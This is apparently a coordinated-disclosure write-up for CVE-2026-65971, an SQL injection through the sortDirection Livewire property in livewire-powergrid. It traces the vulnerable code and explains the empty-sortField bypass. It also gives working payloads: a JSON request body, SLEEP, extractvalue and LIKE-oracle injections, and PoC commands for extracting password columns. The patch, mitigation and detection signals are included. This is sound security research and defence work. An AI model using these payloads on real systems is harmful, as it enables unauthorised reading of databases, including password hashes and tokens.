
Proof-of-concept and technical write-up for CVE-2026-65971 — SQL injection via the sortDirection Livewire property in power-components/livewire-powergrid (< 6.10.4)
sortDirectionProof-of-concept and full technical write-up for CVE-2026-65971 / GHSA-7fgc-3h6c-698r,
an SQL injection in power-components/livewire-powergrid
reachable through the public Livewire property sortDirection.
| CVE | CVE-2026-65971 |
| GHSA | GHSA-7fgc-3h6c-698r |
| Package | power-components/livewire-powergrid (Composer / Packagist) |
| Affected | >= 6.0.0, < 6.10.4 |
| Patched | 6.10.4 |
| Weakness | CWE-89 — Improper Neutralization of Special Elements used in an SQL Command |
| Severity | 7.6 High — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
| Reported by | Caio Fabrício (@BiiTts) |
| Disclosure | Coordinated, via GitHub private security advisory |
├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction
├── lab/ build the vulnerable app to reproduce it yourself
├── evidence/EVIDENCE.txt raw lab notes from confirmation
├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix
└── detection/ Sigma rules + Nuclei template for defenders
PowerGrid is a datatable component for Laravel + Livewire (~2k stars, widely used in Laravel admin panels). Its sort state lives in two public Livewire properties:
public string $sortField = 'id';
public string $sortDirection = 'asc';
In Livewire, a public property is part of the component's wire format — any client that can
reach the component can set it through POST /livewire/update. That is by design; the security
boundary is what the server does with the value.
PowerGrid's naturalSort() feature builds a raw ORDER BY expression containing the literal
placeholder {sortDirection}, and a pipeline substitutes that placeholder with the raw,
unvalidated property value before handing the string to orderByRaw(). The direction keyword
therefore lands verbatim inside SQL.
Laravel's own orderBy() rejects anything that is not asc/desc, and that validation is what
makes the ordinary sort path safe. The bug is that a second, unvalidated path to the same
clause exists — and an attacker can reach it while skipping the validating one entirely
(see The bypass).
Result: arbitrary SQL in the ORDER BY clause, exploitable as a blind boolean/time-based oracle
to read any data the database user can read.
Anyone who can reach a PowerGrid table that uses naturalSort can read arbitrary data from
the database — other tables, password hashes, session tokens, API keys, cross-tenant records —
using a time-based / boolean oracle.
SELECT.; UPDATE ... does not execute. Write impact is limited to what a subquery can trigger.SLEEP() and heavy subqueries —
trivially abusable to pin database threads.Privileges required is PR:L because a datatable normally sits behind application
authentication. If the affected table renders on an unauthenticated page, recompute with
PR:N → 8.2 High.
Three files, three stages. All references are to the vulnerable tag v6.10.3.
src/Concerns/Sorting.php
public string $sortField = 'id'; // line 11
public string $sortDirection = 'asc'; // line 13
Neither property has a whitelist, a validation rule, or a normalizing setter. sortDirection is
only ever assigned or flipped:
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
updatedSortDirection() (line 103) exists — the natural place for validation — but in v6.10.3
it only handles lazy-loading bookkeeping. It never inspects the value.
Because Livewire hydrates public properties straight from the request, sortDirection is
fully attacker-controlled, as an arbitrary string, at this point.
naturalSort() plants a placeholdersrc/Providers/Macros.php, lines 102–116 — the naturalSort column macro:
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // <-- raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
Sql::sortStringAsNumber() resolves to a per-driver expression built by
getSortSqlByDriver() in src/DataSource/Support/Sql.php (lines 60–100). Every driver variant
ends with the same literal placeholder:
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
The vulnerability is driver-independent — every branch interpolates {sortDirection}.
src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php
private function resolvePlaceholders(?string $sql): ?string // line 56
{
if (is_null($sql)) {
return null;
}
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — raw property, no escaping
}, $sql);
}
and the execution, line 52:
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
data_get($this->component, 'sortDirection') returns the attacker's string, preg_replace_callback
splices it into the SQL text, and orderByRaw() — which by contract does not escape its
argument — passes it to the database.
Note the bitter irony one line below: resolveBindings() (line 69) exists, and naturalSort
declares 'bindings' => []. The mechanism for safe parameterization is right there. It cannot be
used for a direction keyword — ORDER BY x ? is not valid SQL, a direction can never be a bound
parameter — which is precisely why a direction keyword must be allowlisted instead.
POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation)
──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65)
──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))"
──▶ orderByRaw($sql) (ColumnRawQueries.php:52)
──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL
This is the part that turns "raw interpolation" into an actually exploitable bug, and it is the reason the issue survived in a mature, widely-used package.
PowerGrid processes a query through a pipeline. Two stages of that pipeline touch the sort direction:
Sorting pipeline — src/DataSource/Processors/Database/Pipelines/Sorting.php:
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 <-- THE GUARD
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
orderBy() is Laravel's validating API. Give it anything other than asc/desc and it
throws:
InvalidArgumentException: Order direction must be "asc" or "desc".
So on the normal path — user clicks a column header, sortField=name, sortDirection=<payload> —
the framework blocks the injection. A quick audit stops here and concludes "mitigated by Laravel".
ColumnRawQueries pipeline — the second stage, shown above — has no such guard. Look at
its handle() (lines 21–27): it iterates the columns, and for every column carrying rawQueries
it applies them unconditionally. It never consults sortField. It never consults the Sorting
pipeline's outcome.
That asymmetry is the bug:
Setting sortField to an empty string makes the validating stage skip itself, while the raw
stage still emits the naturalSort ORDER BY with the attacker's {sortDirection} in it. Laravel's
validation is never invoked, because the code path containing it never executes.
The full attack is therefore two fields, not one: sortDirection carries the payload,
and sortField="" is the key that unlocks the door.
Everything happens through Livewire's standard update endpoint. No special headers, no custom route, no admin function.
Endpoint: POST /livewire/update
Body (JSON):
{
"_token": "<CSRF token from the page>",
"components": [
{
"snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
Resulting SQL (MariaDB lab, rooms table, name column with naturalSort):
select * from `rooms`
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
The payload sits in a full expression slot of the ORDER BY list, which is why a bare subquery
works and why the clause remains valid SQL.
The order below is the actual order of reasoning, including the step that nearly closed the investigation as a false positive.
1. Attack surface first: Livewire public properties are attacker input.
The framework's own model says every public property on a component is client-writable through
/livewire/update. So the audit question for any Livewire package is not "is there user input?"
but "which public properties reach a dangerous sink?". Enumerated PowerGrid's public properties;
$sortField and $sortDirection stood out as the ones that exist specifically to be composed
into SQL.
2. Follow them to every sink. Grepped the package for raw-SQL APIs — orderByRaw,
whereRaw, selectRaw, havingRaw, DB::raw — and looked for any that could receive those
properties. naturalSort's 'method' => 'orderByRaw' in Macros.php was the hit.
3. Find the connection between property and sink. The raw SQL in Sql.php did not reference
$this->sortDirection; it contained the literal string {sortDirection}. Templating like that
implies a resolver somewhere. Grepping for the brace pattern led to
ColumnRawQueries::resolvePlaceholders() and its data_get($this->component, $property, '') —
a generic property reader with no escaping. Source and sink now connected.
4. The step that almost killed it: the mitigation. First live attempt — set sortDirection
to a payload and fire — produced not a leak but
InvalidArgumentException: Order direction must be "asc" or "desc". Laravel's orderBy() was
catching it. The tempting conclusion here is "framework mitigates, not exploitable", and that
conclusion would have been wrong.
5. Ask where the exception came from, not just that it happened. The trace pointed at the
Sorting pipeline's orderBy() — a different stage from the orderByRaw() sink identified
in step 2. Two stages, two independent writes into the same ORDER BY, only one of them
validating. That reframed the question from "can I defeat Laravel's validator?" (no — it is a
strict comparison) to "can I reach the raw stage without executing the validating stage?"
6. Read the guard. The validating stage runs under if (filled($this->component->sortField)).
filled('') is false. The raw stage has no guard at all. The bypass was a direct consequence:
send sortField="" and only the unguarded stage runs.
7. Confirm empirically, twice, with independent techniques. A single positive signal is not a finding — a time delta could be a rate limiter, an error could be a generic 500. Both an error-based proof (the database echoing back the injected subquery verbatim) and a time-based boolean oracle (differentiating TRUE from FALSE on real data) were required before calling it confirmed. See Evidence.
Generalizable takeaway: a framework-level mitigation only protects the code path it sits on. When two pipeline stages write to the same SQL clause, "the framework validates it" is a claim about one of them. Always ask which stage the validation actually lives in, and whether the dangerous stage can run alone.
Lab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, with a RoomTable
PowerGrid component whose name column declares ->naturalSort(true) and a rooms table
holding a secret column. Full lab in lab/.
Error-based — the injected subquery reaches the DB verbatim (HTTP 500, SQLSTATE[HY000] 1105):
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
The database parsed and executed an attacker-supplied SELECT inside the ORDER BY. This is
unambiguous proof of injection — the error text contains the injected SQL as executed, not as
submitted.
Blind time-based — arbitrary data extraction:
asc -> 0.02s baseline
asc, (SELECT SLEEP(3)) -> 9.04s injection executes
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound
The TRUE/FALSE pair is what upgrades this from "something is slow" to "I can read your data":
the same request shape returns two cleanly separated timings depending on a condition over a
value the attacker cannot see. That is a working oracle, and poc/exploit_powergrid_sqli.py
walks it character by character.
SLEEP(3)yields ~9s rather than ~3s because the sort applies the sleeping expression across multiple rows — a stronger, not weaker, signal.
Raw notes: evidence/EVIDENCE.txt.
Dependency-free, Python 3 standard library only.
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
It will:
GET the page and scrape the CSRF token plus the wire:snapshot of the PowerGrid component;sortDirection=asc request as a baseline;sortField="" / sortDirection="asc, (SELECT SLEEP(3))" and compare timings;Useful flags:
# non-destructive check only — verify vulnerable/patched, no data extraction
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
# choose what to extract
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
# authenticated targets (datatables usually sit behind login)
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
Against a patched 6.10.4 target the script reports no time delta and exits cleanly — the
allowlist collapses every payload to asc.
v6.10.4)The maintainers shipped defense in depth across four call sites — the correct shape for this class of bug. The primitive:
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
A strict allowlist with a safe default — not a blacklist, not escaping, not a regex. For a keyword that cannot be a bound parameter, this is the only correct control.
Applied at:
ColumnRawQueries::resolvePlaceholders() — the sink. {sortDirection} is now special-cased
and resolved only through sanitizeSortDirection(), never through the generic data_get().Concerns\Sorting::updatedSortDirection() — the Livewire hook. Sanitizes on write, so the
property itself can no longer hold a payload.Concerns\Sorting::sortBy() — sanitizes the direction argument.Pipelines\Sorting::applySingleSort() / applyMultipleSort() — covers user-supplied
sortUsing callbacks, which may build their own orderByRaw. This closed a second, related
path beyond the one originally reported.Regression tests were added: tests/Feature/SortDirectionInjectionTest.php and a
DishesNaturalSortTable fixture.
Patch verification performed on the released tag (not on a promise): cloned v6.10.4, grepped
every raw direction sink, ran the suite (30/30 pass), and fuzzed sanitizeSortDirection() with 17
payloads — the advisory's time-based payload, null bytes, SQL comments, hex literals, mixed case,
whitespace padding, unicode. All collapse to asc or desc. Remaining sinks (export via
WithExport/ExportableJob, Scout) go through validated orderBy() rather than orderByRaw()
and are not injectable.
Verdict: PATCHED.
The security-relevant portion of the diff is in patch/.
composer require power-components/livewire-powergrid:^6.10.4
composer audit
Upgrade — do not try to work around it. If you genuinely cannot upgrade today, the temporary mitigation is to sanitize on the component itself:
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
This is a stopgap. Upgrade.
The precondition is at least one column declaring naturalSort:
grep -rn "naturalSort" app/ resources/
No naturalSort column means the raw ORDER BY is never registered, and the primary path is not
reachable. Note that v6.10.4 also hardened the sortUsing callback path — if your custom sort
callbacks build raw SQL from the direction, you are exposed through that path as well, naturalSort
or not.
The attack is a normal-looking Livewire request; there is no unusual endpoint or method to alert
on. Look at the value of sortDirection — legitimate traffic only ever sends asc or desc.
Anything else is, by definition, anomalous. Practical signals:
POST /livewire/update where the JSON body contains "sortDirection" with a value that is not
exactly asc/desc (case-insensitive) — high fidelity, near-zero false positives;"sortField":"" (empty) together with a non-trivial sortDirection —
the exact bypass signature;SELECT, SLEEP, BENCHMARK, extractvalue, updatexml, 0x;SQLSTATE[HY000] 1105 or SQLSTATE[42000] referencing ;Two Sigma rules are provided in detection/sortdirection-sqli.yml —
one on the request body, one on the database error signature for when body logging is not
available. A Nuclei template that flags reachable PowerGrid components (the prerequisite surface)
is in detection/nuclei-powergrid-sortdirection-sqli.yaml;
confirm any hit with poc/exploit_powergrid_sqli.py --check-only.
v6.10.4v6.10.3...v6.10.4Published after coordinated disclosure, a released patch, and a public vendor advisory. The PoC
targets the local lab in lab/ and is intended for defenders validating their own exposure
and for researchers studying the bug class. Running it against systems you are not authorized to
test is illegal. You are responsible for what you do with it.
sortField | Sorting pipeline | ColumnRawQueries pipeline | Outcome |
|---|
"name" (filled) | runs → orderBy() validates → throws on payload | runs → injects | ❌ blocked by the exception |
"" (empty) | filled('') is false → skipped entirely | runs → injects | ✅ injection lands |
| Field | Role | Value |
|---|
components[0].updates.sortDirection | injection point | the SQL payload, prefixed with a valid direction so the clause stays syntactically whole |
components[0].updates.sortField | bypass key | "" — empty, to skip the validating Sorting pipeline |
components[0].snapshot | plumbing | Livewire component state; scraped from wire:snapshot="..." in the page HTML (HTML-unescape it) |
_token / X-CSRF-TOKEN | plumbing | scraped from data-csrf="..." or the "csrf":"..." blob in the page |
order by